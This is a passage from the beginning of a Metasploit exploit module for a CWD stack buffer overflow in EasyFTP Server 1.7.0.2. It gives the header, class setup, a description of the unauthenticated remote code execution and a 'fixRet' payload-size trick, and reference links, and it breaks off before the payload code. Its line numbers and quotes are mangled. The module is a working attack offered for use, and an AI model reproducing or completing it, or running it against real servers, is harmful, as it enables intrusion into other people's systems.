1 # Exploit Title: EasyFTP Server <= 1.7.0.2 CWD Buffer Overflow (Metasploit)
2 # Date: April 19th, 2010
3 # Author: Paul Makowski (my.hndl@gmail.com || http://paulmakowski.wordpress.com)
4 # Software Link: http://easyftpsvr.googlecode.com/files/easyftpsvr−1.7.0.2.zip
5 # Version: EasyFTP Server <= 1.7.0.2
6 # Tested on: Windows XP SP3 English
7
8 # ways this could be improved:
9 # − write fixRet w/ metasm
10 # − use JMP ESP/EBPs for more targets
11
12 require ’msf/core’
13
14
15 class Metasploit3 < Msf::Exploit::Remote
16
Rank = GoodRanking
17
18
include Msf::Exploit::Remote::Ftp
19
20
$slack_space = 30
21
22
def initialize(info = {})
23
super(update_info(info,
24
’Name’ => ’EasyFTP Server <= 1.7.0.2 CWD Command Stack Buffer Overflow’,
25
’Description’ => %q{
26
This module exploits a stack−based buffer overflow in EasyFTP Server 1.7.0.2.
27
EasyFTP fails to check input size when parsing ’CWD’ commands, which allows for
28
easy stack based buffer overflow exploitation. EasyFTP allows anonymous access by
29
default; valid credentials are typically unnecessary to exploit this vulnerability.
30
31
Later versions may vulnerable, but have not been tested.
32
33
This exploit utilizes a small piece of code that I’ve referred to as ’fixRet’.
34
This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by
35
’fixing’ the return address post−exploitation. See references for more information.
36
},
37
’Author’ => [ ’Paul Makowski <my.hndl [at] gmail.com>’ ],
38
’License’ => MSF_LICENSE,
39
’Version’ => ’$Revision$’,
40
’References’ =>
41
[
42
[ ’URL’, ’http://paulmakowski.wordpress.com/2010/02/28/increasing−payload−size−
w−return−address−overwrite/’ ],
43
[ ’URL’, ’http://paulmakowski.wordpress.com/2010/04/19/metasploit−plugin−for−ea
syftp−server−exploit’ ],
44
[ ’URL’, ’http://seclists.org/bugtraq/2010/Feb/202’ ],
45
[ ’URL’, ’http://code.google.com/p/easyftpsvr/’],
46
[ ’URL’, ’https://tegosecurity.com/etc/return_overwrite/RCE_easy_ftp_server_1.7
.0.2.zip’ ],
4